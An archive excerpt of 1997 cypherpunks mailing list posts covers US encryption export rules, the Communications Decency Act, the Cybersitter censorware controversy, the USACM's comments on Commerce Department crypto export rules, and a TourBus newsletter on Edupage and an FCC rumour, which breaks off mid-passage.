E-mail:     cynthb@iosphere.net  | PGP Key:  See Home Page
Home Page:  http://www.iosphere.net/~cynthb/
Junk mail will be ignored in the order in which it is received.

        Klein bottle for rent; enquire within.






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Vin McLellan <vin@shore.net>
Date: Fri, 14 Feb 1997 15:58:02 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: crypto restrictions
Message-ID: <199702142358.PAA18138@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


Anand Abhyankar <anand@querisoft.com> asked:

>1) is it illegal to develop an encryption tool (s/w) outside the US
>which uses > 40 bit size session keys and then import that s/w inside of
>the US.
>
>anand....

Hi Anand,

        Nope! Unless there are export controls in India,  your wizards in
Bombay or Dehli (pardon, I forget) can offer their US customers the full and
unrestricted product of their creativity and genius in algorithms, crypto
implementations, and/or crypto protocols.

         There are no restrictions on encryption software being _imported_
into the US, nor are there (at the moment <sigh>) any legal (as opposed to
patent or copyright) restrictions on any encryption software of any strength
being _used_ in the US. 

         For that matter, there are no restrictions on encrypted data being
transmitted across the US border.  

        And (while it may require a license, apparently an exemption for the
product, as opposed to a sales-by-sale license) there are seemingly no -- or
at least less -- restrictions on the use of specialized encryption products
(within the US) which can generate a "self-decrypting" secure packet which
can be transmitted (cross-border, outside the US) and opened, anywhere, by a
recipient who has been provided with a password/key out of band.

         That is how RSA's SecurPC has been able to offer full 128-bit RC4
encryption to secure US-to-Anywhere international file transfers.  

        (As with DES, the US Govt is apparently trying to control the export
of a full implementation package -- not the international distribution of a
widely-known algorithm, per se.  As I understand it, the self-decrypting
PCSecure packet does not contain the user interface which allows automatic
encryption, the interface can only decrypt. The RC4 algorithm, of course,
has to be included in the transmission, and it is inherently reversible --
only the user interface is "crippled" to restrict its use to encrypt.
Corrections welcome, if I don't have this exactly right.)  

        The international traffic in self-decrypting "128-bit" products is
separate and distinct from the issues involved in the recent modifications
of the  US export regs, which allow vendors to get approval to export a
56-bit secret-key encryption product (eg. RC4, RC5, or DES) only  if the
vendor submits a concrete plan, and schedule of implementation, to redesign
their (export) product to require key-escrow or trusted-party
key-recovery/storage. 

        (In addition whatever recovery key is required by corporate backup
policies, this is also, obviously, a mechanism for GAK, "government access
to keys" --under US law,  hopefully with a court warrant -- and/or whatever
backup/key-recovery/GAK-access mechanism might be required various other
nations in which those products will be imported, used, or transhipped from.)

        And with those GAK-adapted implementations, the US govt. will then
approve, for the first time, general export of robust 128-bit secret-key
products... as they reportedly have for Open Market's SSL, and TIS and
Digital crypto products.

      I hope this is helpful,

        Suerte,
                        _Vin







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Adam Shostack <adam@homeport.org>
Date: Fri, 14 Feb 1997 15:58:21 -0800 (PST)
To: "Michael Froomkin - U.Miami School of Law" <froomkin@law.miami.edu>
Subject: Re: Good Bye Cypherpunks!
Message-ID: <199702142358.PAA18154@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


Michael Froomkin - U.Miami School of Law wrote:
| Just for the record.  I will not post to USENET given the spamming that
| seems to go to IDs that appear there.  

	Your postings appear on the web, as part of the cypherpunks
archives at infinity.nus.sg.

http://infinity.nus.sg/cypherpunks/current/0089.html

	There seem to be robots that search the web; I've never even
read usenet from this account, and I get spam.

Adam


-- 
"It is seldom that liberty of any kind is lost all at once."
					               -Hume







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Declan McCullagh <declan@pathfinder.com>
Date: Fri, 14 Feb 1997 15:56:08 -0800 (PST)
To: cypherpunks@toad.com
Subject: Congress is at it again; renewed defenses of the CDA
Message-ID: <199702142356.PAA17978@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


Sen. Coats has been ranting about the CDA again. I have more in the
Afterword section of http://netlynews.com/ --

            "As the Supreme Court prepares to hear oral arguments
             next month in the Communications Decency Act case,
             morality crusaders in Congress are launching a renewed
             defense of the law..."

-Declan


-------------------------
The Netly News Network
Washington Correspondent
http://netlynews.com/







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: paul@fatmans.demon.co.uk
Date: Fri, 14 Feb 1997 15:43:04 -0800 (PST)
To: Toto <toto@sk.sympatico.ca>
Subject: Re: Fuck UseNet
Message-ID: <199702142343.PAA17508@toad.com>
MIME-Version: 1.0
Content-Type: text/plain



>   So, basically, you're saying that the flight from censorship should
> be toward a new CypherPunk 'home' where one is effectively censored
> automatically unless one kisses the ass of a Cabal?

Absolutely, It is really, as far as I see it anyway, just a stop-gap 
measure. The caballers haven`t got enough room to do their censorship 
on the 18000 or so big 7 groups so they decide to fuck up the alt. 
heirachy as well ;-)

Hopefully Igor and co.`s network of Majordomo's should be fully 
operational soon (as I understand it two are up and a third is on 
it's way) then we can move back there. Might even get it finished 
before the 20th?????

 
 

  Datacomms Technologies web authoring and data security
       Paul Bradley, Paul@fatmans.demon.co.uk
  Paul@crypto.uk.eu.org, Paul@cryptography.uk.eu.org    
       Http://www.cryptography.home.ml.org/
      Email for PGP public key, ID: 5BBFAEB1
     "Don`t forget to mount a scratch monkey"





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: omegam@cmq.com
Date: Sat, 15 Feb 1997 00:26:06 -0800 (PST)
To: ichudov@algebra.com
Subject: Re: Procmail during the transition, anyone?
Message-ID: <199702150826.AAA07200@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


ichudov@algebra.com writes:
 > subs-cri-be to the unedited list.

Nope.  I get duplicates with new ID's here, and I have duplicate ID
removing recipe enabled.  

I am subscribed to the list as cyberpass.net now, and not on toad
anymore, al least I shouldn't be.

Should be resolved by the 20th ;).

me
-- 
---------------------------------------------------------------------
Omegaman <mailto:omegam@cmq.com>|"When they kick out your front door,
   PGP Key fingerprint =        | How are you gonna come? 
   6D 31 C3 00 77 8C D1 C2      | With your hands upon your head,   
   59 0A 01 E3 AF 81 94 63      | Or on the trigger of your gun?" 
Send email with "get key" as the| -- The Clash, "Guns of Brixton"
"Subject:" to get my public key |   _London_Calling_ , 1980
---------------------------------------------------------------------





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "E. Allen Smith" <EALLENSMITH@ocelot.Rutgers.EDU>
Date: Fri, 14 Feb 1997 17:12:04 -0800 (PST)
To: cypherpunks@toad.com
Subject: RRE: Cybersitter
Message-ID: <199702150112.RAA20370@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


From:	IN%"rre@weber.ucsd.edu" 14-FEB-1997 05:21:41.54
To:	IN%"rre@weber.ucsd.edu"
CC:	
Subj:	Cybersitter

[Forwarded with permission.]

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Date: Thu, 30 Jan 97 08:23:58 -0500 (EST)
From: kkc@COMPETITOR.NET(K.K. Campbell)
Subject: Cybersitter & Wallace

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

                    WHO'S WATCHING THE 'WATCHERS'?

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

                                  by
                             K.K. CAMPBELL

                              Net.column
                           The Toronto Star
                      Thursday, January 30, 1997


One of the most controversial aspects of cyberspace is censorship. A
widely accepted solution to eliminating the "unwanted" is self-imposed
censorship, through special software which blocks out types of content
not desired.

The appeal of these programs is that people needn't rely on distant
authority to dictate acceptability. We police ourselves; or at least we
have some control over how we will be policed.

The news media have generally blessed "blocking software" with
unexamined sprinklings of warm praise. After all, who dares suggest
that stopping your 5-year-old from seeing graphic gore, violence or sex
is bad? What could go wrong with that?

But, now critics are starting to ask, who is "watching the watchers?"
Could these watchers themselves develop more "creative applications"
for their power to silence? Could they apply their own personal
prejudices, or even their own hidden agendas?

Or is that paranoid nonsense?

Ask U.S. author Jonathan Wallace (jw@bway.net). Wallace says
California's Solid Oak software, which produces Cybersitter blocking
software, has added his site to its "block list" in retaliation for
critical remarks he made about the company.

Solid Oak claims 900,000 registered Cybersitter users.

Wallace, a New York-based software business executive and attorney is
co-author of the book _Sex, Laws and Cyberspace_ (Henry Holt, $34.95).
Net.column will discuss the book with its author next installment.

He's also editor of the monthly Webzine _The Ethical Spectacle_, which
focuses on "the intersection of ethics, law and politics in our
society."

The Webzine recently asked readers to not purchase Cybersitter because
of continuing reports of Solid Oak's "unethical behavior."

"In the book," Wallace says in a press release explaining his current
attitude to Cybersitter, "we took the position -- naively, I now think
-- that use of blocking software by parents was a less restrictive
alternative to government censorship. We never expected that publishers
of blocking software would block sites for their political content
alone, as Solid Oak has done."

Solid Oak unequivocably denies there is a political agenda of any kind
et work.

"Absolutely, 100 per cent not," Marc Kanter told the Toronto Star in a
phone interview. Kanter is Solid Oak's vice president of marketing.
"There is no hidden political agenda."

Kanter says someone criticizing Cybersitter would not be blocked. He
says Wallace's site is blocked because it "links information on how to
hack Cybersitter. We do not allow our customers to have hacking
information for the program."

Wallace told The Star that's not true. "There's no such information on
my site, nor is there on Peacefire's. I link to some pages maintained
by Glen Roberts, who -- along with some political commentary on
Cybersitter, and analysis of its blocking policy -- offers a (legal)
work-around. However, since his site is separately blocked by
Cybersitter, there is no reason for them to block my site as well."

Kanter dismisses Wallace's complaints. "The guy didn't do any
homework," Kanter says. "There are a few people who are right-wing
activists who are out there that are trying to defame the filtering
program. This is what leads to stories like you are doing -- and
hopefully you are not supportive of their actions."

Wallace didn't know what to make of that. "I've been called a
communist, a socialist, and a wild-eyed civil libertarian, but no one
has ever called me right wing before," he says. "Kanter has obviously
never read _The Ethical Spectacle_."

While Cybersitter, with fanfare, claims its mission is to block Web
sites containing pornography, obscenity, gratuitous violence, hate
speech, criminal activity, etc., an increasing number of investigative
Net.journalists also claim Cybersitter, without fanfare, blocks access
to Web sites based on political criteria.

                          FOR OUR OWN GOOD

This brouhaha began last summer when CyberWire Dispatch revealed
Cybersitter blocks sites based on political agenda, such as the
feminist National Organization for Women (www.now.org).

Dispatch journalist/editor Brock Meeks asked Solid Oak CEO Brian
Milburn (bmilburn@solidoak.com) about that.

"Milburn isn't shy about it," Meeks reported. "He was outright
indignant when he originally told Dispatch: 'If NOW doesn't like it,
tough'."

Solid Oak threatened to sue Dispatch for its article, but things
quieted down.

In December, the issue erupted again when 18-yearold Bennett Haselton
(bennett@peacefire.org) wrote an article about the company's selection
of blocked sites: "Cybersitter: Where Do We Not Want You To Go Today?"
(www.peacefire.org/censorware/CYBERsitter.html).

Haselton takes computer science and math at Vanderbilt University.
"Peacefire" is his own creation, a teen cyberrights group, average age
15.

According to various Net.journalists, Solid Oak now threatened Bennett
with a lawsuit and even tried to get the Peacefire site booted from its
host system (media3.net) by telling Media3 that Haselton was making it
"his mission in life to defame our product" by "routinely" publishing
names of sites blocked by Cybersitter.

(It should be noted it's easy to figure out which sites are blocked,
the software provides an output list. Try "playboy.com" -- blocked. Try
"whitehouse.com" -- okay. Try "peacefire.org" -- blocked. Try "now.org"
-- blocked.)

Unsuccessful in his pressure against Media3, Milburn instead included
the peacefire.org domain in Cybersitter's block list.

On Dec. 9, HotWired picked the story up
(www.wired.com/news/story/901.html). NetAction Notes
(www.netaction.org) quickly followed suit. Haselton told his story to
the Electronic Frontier Foundation and the EFF assured him it would
represent him, should Solid Oak deliver on its threat to sue.

On Dec. 20, The Netly News (http://netlynews.com) continued the
investigation of Cybersitter. Aside from the irony of Cybersitter
censoring the newsgroup alt.censorship, it "blocks dozens of ISPs and
university sites such as well .com, zoom.com, anon.penet.fi, best.com,
webpower.com, ftp.std.com, cts.com, gwis2.seas.gwu.edu, hss.cmu.edu,
c2.org, echonyc.com and accounting.com. Now, sadly, some libraries are
using it."

                       BLACK LIST TO BLOCK LIST

Wallace read the reports of legal threats against the teenager and
thought "Milburn was acting like the proverbial 800-pound gorilla."

So Wallace added a link on _The Spectacle_'s homepage called "Don't Buy
Cybersitter."

"I wrote the company," he says, "informing them of my actions and
telling them that they misrepresent their product when they claim it
blocks only indecent material, hate speech and the like."

Wallace says Solid Oak responded by adding his Webzine to its block
list. Learning of this, Wallace wrote Milburn and Solid Oak tech
support.

"I pointed out that _The Spectacle_ does not fit any of their published
criteria for blocking a site," he says. "I received mail in return
demanding that I cease writing to them and calling my mail 'harassment'
-- with a copy to the postmaster at my ISP."

Kanter acknowledges this. "He spoke to us more than once or twice -- he
continued to send mail -- mail like that is considered 'not wanted' and
is automatically sent back."

By the end of our phone conversation, Kanter had dropped the
"right-wing activist" explanation of who was behind the Cybersitter
complaints and offered a new one:

"Some of this rhetoric was started by someone we believe to be a highly
-- how do you put it? -- a highly homosexual individual, who did not
believe we should have the right to block any sites or links to
alternative lifestyles. That's how a lot of this got started."

Why is the National Organization for Women site blocked?

"Very simple. It contains links to gay and lesbian hardcore material. I
was on their page this morning, and there is a lot of offensive
material linked directly. Just go to their links page and start looking
at 'gay' and 'feminism.' Our parents don't want that kind of stuff."

I asked if he really meant "hardcore" -- suggestive of full-penetration
images/stories.

"Yes, by links through links," he clarifies. If someone followed the
links starting at now.org, they'd eventually find hardcore sexual
material.

Kanter says parents are not permitted to know which sites Cybersitter
blocks.

"That list is not given to anybody under any circumstances -- including
law enforcement agencies that have requested it." He says it's to
prevent the list from "getting into the wrong hands."

It would be a cybermap to naughtiness for some kids. And parents aren't
allowed to remove blocked sites from Cybersitter, although they can add
to the list.

Cyber-rights activists claim the incident underscores warnings they've
issued for years: While censorship software may first aim to protect
children against "pornography," it can quickly be adopted for political
agendas.

_The Ethical Spectacle_ is at www.spectacle.org. Solid Oak's Web site
can be found at www.solidoak.com.

-30-

Copyright 1997 K.K. Campbell






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "E. Allen Smith" <EALLENSMITH@ocelot.Rutgers.EDU>
Date: Fri, 14 Feb 1997 17:12:06 -0800 (PST)
To: cypherpunks@toad.com
Subject: RRE: USACM analysis of Commerce Dept crypto export proposals
Message-ID: <199702150112.RAA20371@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


From:	IN%"rre@weber.ucsd.edu" 14-FEB-1997 08:14:58.81
To:	IN%"rre@weber.ucsd.edu"
CC:	
Subj:	USACM analysis of Commerce Dept crypto export proposals

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Send any replies to the original author, listed in the From: field below.
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Date: Thu, 13 Feb 1997 22:15:40 -0500
From: Lauren Amy Gelman <gelmanl@GWIS2.CIRC.GWU.EDU>

[...]


February 12, 1997


Nancy Crowe
Regulatory Policy Division
Bureau of Export Administration
Department of Commerce
Room 2705
14th Street and Pennsylvania Ave., N.W.
Washington, D.C. 20230.

Docket No. 960918265-6366-03

Dear Ms. Crowe

        The United States Public Policy Committee for the Association for
Computing (USACM) welcomes this opportunity to submit our views on the
Interim Rule issued by the Department of Commerce with regard to
"Encryption Items Transferred From the United States Munitions List to the
Commerce Control List."  The USACM believes it is in the best interest of
the U.S. government to promote the widespread use of strong encryption.
>From our perspective the Interim Rule fails to recognize the legitimate
needs and interests of academic, professional, scientific, and ordinary
users of telecommunications technology.  Thus, the Interim Rule must be
modified before it can resolve the many problems with the current export
controls on encryption technologies.

Introduction and Summary

        The Association for Computing is an international professional
society whose 76,000 members (60,000 in the U.S.) represent a critical
mass of computer scientists in education, industry, and government.  The
USACM provides a means for promoting dialogue on technology policy issues
with United States policy makers and the general public. We have
identified a number of serious problems with specific provisions of the
Interim Rule.

        As a professional society of computer scientists which produces a
number of peer-reviewed technical journals, we are concerned that the
Interim Rule will hamper both communication and education in our field.
Part 7.34.3 (b)(3) which refers to the distinction between printed and
electronic publications of cryptographic materials is unworkable under the
new paradigms of electronic publishing and communications. Electronic
media, including the World Wide Web, listserves, Usenet news groups, and
video conferencing are becoming the prominent means by which scientists
communicate.  Provisions of the Rule, specifically Parts 7.34.9 and 744.9,
which affect teaching cryptography to foreign students are vague and
contradictory.  Educational environments are not limited to academic
institutions but also occur in national and industry labs and by distance
education.  Restrictions on cryptography exports must not interfere with
the traditional freedom of access over digital networks which is
indispensable to maintain motivated and effective academic and research
communities.

        We also believe that the development of public policies and
technical standards for communications technologies, such as a Key
Recovery Infrastructure (KRI), raise vital issues of privacy,
competitiveness, and scientific innovation.  Parts 740.8 and 742.15 raise
a number of troubling issues for the computing community.  We believe it
is unwise for the Commerce Department to link relaxing export controls on
56-bit encryption to the development of a KRI as both the desirability and
the feasibility of such a system remains uncertain. Key recovery products
have not yet been subject to the vigorous testing necessary for a proposed
standard and there is little understanding of how such a system would
operate and what controls would be needed to ensure that it remained
secure.  Also, Supplement No. 7 to part 742 (which requires that
businesses who wish to export 56-bit encryption before 1998 submit a
biannual business plan for developing key recovery products) will stifle
the innovation of new cryptography technologies and discourage the process
of scientific innovation.  We believe the Commerce Department should not
promulgate regulations which prohibit U.S. research and development from
responding to market demands and limit the ability of Americans using new
on-line services to protect their privacy.

Analysis

        The USACM has identified electronic publication, education,
research and development, key recovery, and privacy as problematic areas
which need addressing.  We have outlined our concerns below:

Electronic Publishing

        It is unreasonable and unconstitutional to distinguish between
printed and electronic distribution of encryption source code as set forth
in the note to Part 7.34.3 (b)(2) and (b)(3).  A Federal Court in
California has ruled in Bernstein v. U.S. Department of State that source
code is speech and is thus protected under the first amendment.  This
distinction is also currently being challenged in a federal court in the
District of Columbia in Karn v. U.S. Department of State.  The USACM
joined the Electronic Privacy Information Center, the American Civil
Liberties Union, and the Internet Society in submitting an Amici Curiae
brief in the case which argued that such language is an impermissible
regulation aimed at the suppression of expression. As computer scientists
we see no practical reason why the Commerce Department should insist on
creating a distinction when one does not exist.

        The ACM is the publisher of numerous scientific publications and
conference proceedings.  They range from our flagship journal
Communications of the ACM (CACM) to the on-line, peer-reviewed journal
Experimental Algorithms.  All 76,000 members of ACM, including 15,000
members overseas, receive CACM by mail and have access to ACM's on-line
publications. ACM foresees a time when all its publishing will be
electronic and on-line.  At that time, it will need interoperable
encryption technology available in the U.S. and in its mirror sites abroad
to dispense its material.  Its subscribers worldwide will need access to
secure, commercial encryption as well.

        An article which described the development of a new cryptographic
algorithm would likely appear in one of the many technical journals or
conference proceedings published by ACM or the Institute for Electronics
and Electrical Engineers (IEEE), another international professional
society.  In fact a number of the groundbreaking articles in the field of
cryptography science were originally published by ACM and IEEE.
Publication of encryption algorithms is extremely important to the field
of cryptography.  In order for an algorithm to be trusted, it must be
challenged.  To do that, the code must be made widely available.  Foreign
members of ACM will be unable to access in electronic format the same
articles they currently receive in the printed journal.  And, it is
technically impossible, at this late date, to partition ACM's publications
into distinct paper and electronic (hence encryptable) media.

        Electronic communications, including the World Wide Web, list
serves, Usenet news groups, and video conferencing are becoming the
prominent means by which scientists communicate.  Science is a global
pursuit and there exists a open communications network between scientists
in different countries.  Part 734.2 which prohibits making cryptographic
software available outside the U.S. will not only eliminate this
international communication but also technical communication among U.S.
scientists.  In electronic communications it is not always clear to whom
the information is being transmitted.  WWW sites and Usenet news groups
are accessible by anyone with a modem.  Video conferences can be
retransmitted overseas and moderated listserves are difficult to control.
The Interim Rule refers to an individual taking "precautions adequate to
prevent unauthorized transfer of such code outside the U.S."  It is our
belief that it would be impossible to be certain of any precautions taken.
This will effectively eliminate all communications on electronic media
that describe or discuss cryptographic source code.

        We believe the interim rule must be revised to eliminate the
distinction between printed and electronic source code and to allow for
open communications within scientific communities.  Restricting these
communications will retard the evolution of the science and the
development of new algorithms and cryptographic devices.

Education

        Many ACM members are computer science professors and teachers, so
we are concerned about the contradictions in the proposed regulations with
regards to education.  A number of fields and sub-fields address
cryptography as part of their curricula.  Part 734.9 states that
"Educational Information" is not subject to the new regulations if it is
"released by instruction in catalog courses and associated teaching
laboratories of academic institutions." Computer science, mathematics,
engineering, and electronic security may all include technical instruction
in encryption technologies and would be covered in U.S. university
classrooms.  However, questions arise with regard to distance and home or
overseas education because of Part 744.9.  It states that "No U.S. person
may, without a license from BXA, provide technical assistance (including
training) to foreign persons with the intent to aid a foreign person in
the development or manufacture outside the United States..."  While Part
744.9 defines a U.S. person it does not define "technical assistance" or
"training."  It is uncertain whether a U.S. professor teaching a course in
which foreign students are registered, or teaching a course in
cryptography overseas would be "training" a foreigner to develop a
cryptographic device if the course work was more detailed than "a
discussion of information about cryptography."  This would affect course
studies as disparate as 'number theory' and 'local area networks'.

        Also, educational environments are not limited to academic
institutions but are also found in national and industry labs.  Many
computer scientists receive their first hands on training after they
graduate from their University.  It is unclear whether this "training" or
"technical assistance" is in violation of the Interim Rule.  The intent of
the training is give the new employee the practical tools necessary to
participate in the field of cryptography science, and is not necessarily
intended to be project or employer specific.  While the General
prohibition in Part 744.9 discusses the meaning of intent as applied to an
academic setting, it is not clear if "academic setting" can be applied to
instruction which occurs outside of the University environment.

        The argument made previously with regard to digital media also
applies to education. As part of their course work, students often use
electronic media as resources (WWW, digital libraries, CD-ROMs), as a
communication device for the class outside the classroom (electronic mail,
listserves), and to learn from listening to the discussions among research
scientists (Usenet groups, listserves).  Part 7.34.3 (b)(3) which covers
encryption source code in electronic form or media will restrict these
types of educational instruction.  Instructors will be unable to take
advantage of digital media in their courses.  Students studying
cryptography will be unfairly disadvantaged as they will be unable to
access valuable resources even in the process of furthering their
education.

        The USACM believes the contradictions in Parts 7.34 and 744.9 must
be resolved in a clear manner so educators are not required to reduce the
quality of their courses for fear of misinterpreting the Interim Rule.
Specifically, "academic setting," "training," and "technical assistance"
must be defined, and distance education, and academic research and
communication must be addressed.

Research and Development

        Encryption policies must reflect the needs of the global market.
The international demand for products which incorporate strong
cryptographic tools is growing. Such products are widely available and
produced by a number of nations.  U.S. scientists have been prominent in
the development of current encryption technologies.  The field has
developed though research and development efforts along many different
tangents, only one of which describes key recovery products.  There is
little evidence that the demand for cryptography tools is limited to those
products which incorporate key recovery protocols. Part 742.15 (which
states that businesses must submit a business plan for the development of
key recovery products before they may export 56- bit software;  the
license must be renewed biannually until 1998 when only key recovery
products will be allowed for export)  will restrict the U.S. to producing
only products which incorporate KRI protocols.

        Mandating that businesses develop key recovery products will also
impede the natural market development of novel and innovative systems.
Part 740 hypothesizes that a worldwide KRI will be desirable, feasible,
and in place by 1998.  However it is unclear whether key recovery is the
best alternative.  Research along new tangents will continue in non-
industry and non-U.S. settings.  A new protocol may be discovered which is
considered a better choice for a worldwide infrastructure.  There will
exist a great market demand for variety in choosing a security system to
fit the needs of the distinct commercial group.  If this happens U.S.
scientists and industry will be at a disadvantage as they will have only a
core competence in key recovery protocols as per Part 740.8.

        There are a variety of commercial groups interested in utilizing
the Internet for business interactions and transactions. Without
interoperable encryption programs, commercial needs in an increasing
global environment cannot be met.  Supplement No. 4 to Part 742 states
that a product can not interact with another product whose key recovery
system has been "altered, bypassed, disabled, or otherwise rendered
inoperative."  This will be a major source of problems for researchers and
educators, as well as government and commercial institutions.  The result
of a system not being able to talk to another system because of an
intentional or accidental disabling of the KRI protocols can have a very
large impact on telemedicine, research, government operations, and
commercial enterprises.

        The USACM believes the Interim Rule should be rewritten to avoid
dissuading innovation and development and eliminating the U.S.'s core
competency in cryptography.  It should also recognize the need for
consistency in interoperable systems.

Key Recovery

        The USACM recognizes that there is a real market demand for key
recovery products from business and government employers.  However, the
viability of a KRI has not yet been determined.  It has not yet been
subject to the vigorous testing necessary for a proposed standard.  There
is little understanding of how such a system would operate and what
controls would be needed to ensure that it remained secure.  Part 740
describes the development of a Key Recovery Infrastructure within two
years.  We believe it is unwise for the United States to insist on the
development of a untested, unproved technology for a worldwide
infrastructure. The National Research Council report stated that a
feasibility study needed to be performed on a smaller scale before key
escrow could be seriously proposed for commercial applications.  We
believe this warning applies to KRI as well.  While key recovery tools may
be appropriate in some settings, we believe it would be wrong to impose
such restrictions on users or businesses and the Interim Rule should not
dictate that businesses limit their research to a potentially unworkable
system.

Privacy

       The USACM believes that certain principles should be reflected in a
national cryptography policy.  Encryption should be used for privacy
protection and to encourage the development of technologies and
institutional practices which will provide real privacy for the future
users of the NII and real security for the protection of the system. The
USACM believes that transferring the regulation of cryptography to the
Commerce Department could establish United States leadership in protecting
the privacy rights of its citizens.  However the Interim Rule fails to do
that.

Conclusion

       We recognize that the government has a legitimate interest in
protecting national security. However, whether or not the worldwide
infrastructure is achieved, the role of national security agencies will
remain difficult.  The government's proposal to balance national security,
business, and privacy interests by creating a Key Recovery Infrastructure
within the next two years is overly aggressive.  We suggest that the
development of a policy that serves the long term interests of our
nation's security will not be one based on a Key Recovery Infrastructure,
but rather one that anticipates the widespread availability of strong
encryption and the multifaceted demands of a global economy.  Toward that
end, the interests in protecting open research within the U.S. academic
community will be crucial.

Sincerely,




Barbara Simons, Ph.D
Chair, United States Public Policy Office for the
Association for Computing

        The ACM, founded in 1947, is an international non-profit
educational and scientific society dedicated to the development and use of
information technology, and to addressing the impact information
technology has on the world's major social challenges. The Association's
activities include the publication of scholarly journals and the
sponsorship of special interest groups (SIGS) in numerous disciplines. ACM
has 76,000 members.  The 60,000 who reside in the United States are
academic, professional, scientific, and ordinary users of
telecommunications technology and have a strong interest in the
development of sound encryption policies. The USACM provides a means for
promoting dialogue on technology policy issues with United States policy
makers and the general public. We respond to requests for information and
technical expertise from United States government agencies and
departments, seeks to influence relevant United States government policies
on behalf of the computing community and the public, and provides
information to the ACM on relevant United States government activities.



----------------------------------------------------------------------------
----------------------------------------------------------------------------
Lauren Amy Gelman                               gelmanl@gwis2.circ.gwu.edu
George Washington University                    gelman@epic.org
Science, Technology, and Public Policy Program  gelman@acm.org






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "E. Allen Smith" <EALLENSMITH@ocelot.Rutgers.EDU>
Date: Fri, 14 Feb 1997 17:11:58 -0800 (PST)
To: cypherpunks@toad.com
Subject: RRE: Fear and Loathing at the FCC
Message-ID: <199702150111.RAA20359@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


From:	IN%"rre@weber.ucsd.edu" 14-FEB-1997 07:16:51.99
To:	IN%"rre@weber.ucsd.edu"
CC:	
Subj:	Fear and Loathing at the FCC

[Forwarded with permission.  This is the closest thing I've found to real
research on the FCC-access-charges-for-ISP's action alert you have no doubt
seen recently.  Right or wrong, this was an incredibly badly designed alert.
Please let me recommend that you *never* forward any kind of alert message
unless it is signed, includes detailed background information or at least
a URL that points to background information, and includes a time-out date. 
For more information on the proper construction of Internet action alerts,
see  http://communication.ucsd.edu/pagre/tno/january-1994.html#action ]

=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
This message was forwarded through the Red Rock Eater News Service (RRE).
Send any replies to the original author, listed in the From: field below.
You are welcome to send the message along to others but please do not use
the "redirect" command.  For information on RRE, including instructions
for (un)subscribing, send an empty message to  rre-help@weber.ucsd.edu
=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=

Date: Thu, 13 Feb 1997 20:18:54 -0600
From: Patrick Douglas Crispen <crispen@campus.mci.net>
Subject: TOURBUS -- 13 FEBRUARY 1997 -- EDUPAGE / FEAR AND LOATHING AT THE FCC

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 ~~~/~~~\~~/~~~\~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~/~~~\~~~~~
    \___/  \___/   T h e   I n t e r n e t   T o u r B u s   \___/

TODAY'S STOP: EDUPAGE / FEAR AND LOATHING AT THE FCC
TODAY'S ADDRESSES:
     http://www.worldvillage.com/wv/hotel/tourbus/archives.htm
     http://www.educom.edu/web/edupage.html
     http://www.eff.org/papers/eegtti/eeg_83.html#SEC84
     http://www.fcc.gov/isp.html

Hi, kids!

Put your seat belts on, because our latest adventure is about to get under
way!  Before we pull out of the terminal, though, can I interest anyone in
a magazine or two?  :)

+--- HUGE TOURBUS SAVINGS ON THE HOTTEST MAGAZINE SUBSCRIPTIONS! ----+
 Time, Newsweek, Money, PC Magazine, ZD Internet, Net, Yahoo, and tons
   more!  Plus, pick from 50 FREE subscriptions.  Send email now to:
+-------------------- ( tourbus@magazines.com ) ---------------------+

By the way, I have a sinking feeling that a few of you may want to forward
part of today's post to some of your friends.  I would be happy if you did
this -- just make sure that you give credit where credit is due.  :)

EDUPAGE
-------

I think I am losing my mind.  I distinctly remember pulling our little bus
of Internet happiness into Edupage before, but for the life of me I can't
find a copy of that post anywhere in the TOURBUS archives (which, by the
way, can be found on the World Wide Web at
http://www.worldvillage.com/wv/hotel/tourbus/archives.htm).

Anyway, Edupage is an absolutely wonderful, free, e-mail-based "summary of
news items on information technology, and is provided three times each week
as a service by Educom -- a consortium of leading colleges and universities
seeking to transform education through the use of information technology."

Edupage is actually a misnomer, because Edupage doesn't really talk about
education.  Rather, Edupage send you one paragraph summaries of technology
stories printed in leading newspapers and magazines (like Business Week,
Information Week, Forbes, etc.).  Each issue of Edupage usually contains
between 6 and 10 of these summaries.

If you want to subscribe to Edupage (remember, it's FREE), just send an
e-mail letter to

     LISTPROC@EDUCOM.UNC.EDU

with the command

     SUBSCRIBE EDUPAGE YOURFIRSTNAME YOURLASTNAME

in the body of your e-mail letter, replacing YOURFIRSTNAME and YOURLASTNAME
with your first and last names.

You can also find Edupage on the Web at

     http://www.educom.edu/web/edupage.html

Edupage is clearly one of my favorite resources on the Net.  It provides
cutting-edge technology information in a size that is easy to digest, and
as a professional college student I *often* find myself quoting and
applying the information that I have found in Edupage.


FEAR AND LOATHING AT THE FCC
----------------------------

Over the past couple of weeks, you may have received e-mail letters telling
you that

     Many local telephone companies have filed a proposal with the FCC
     [The United States' Federal Communications Commission] to impose
     per minute charges for Internet service.  They contend that use
     of Internet has or will hinder the operation of the telephone
     network.

At first, I thought that this was simply a new version of the old "modem
tax" hoax (http://www.eff.org/papers/eegtti/eeg_83.html#SEC84) that has
been floating around the Net since *1987*.   After all, the current FCC
story has all of the markings of a classic urban legend:

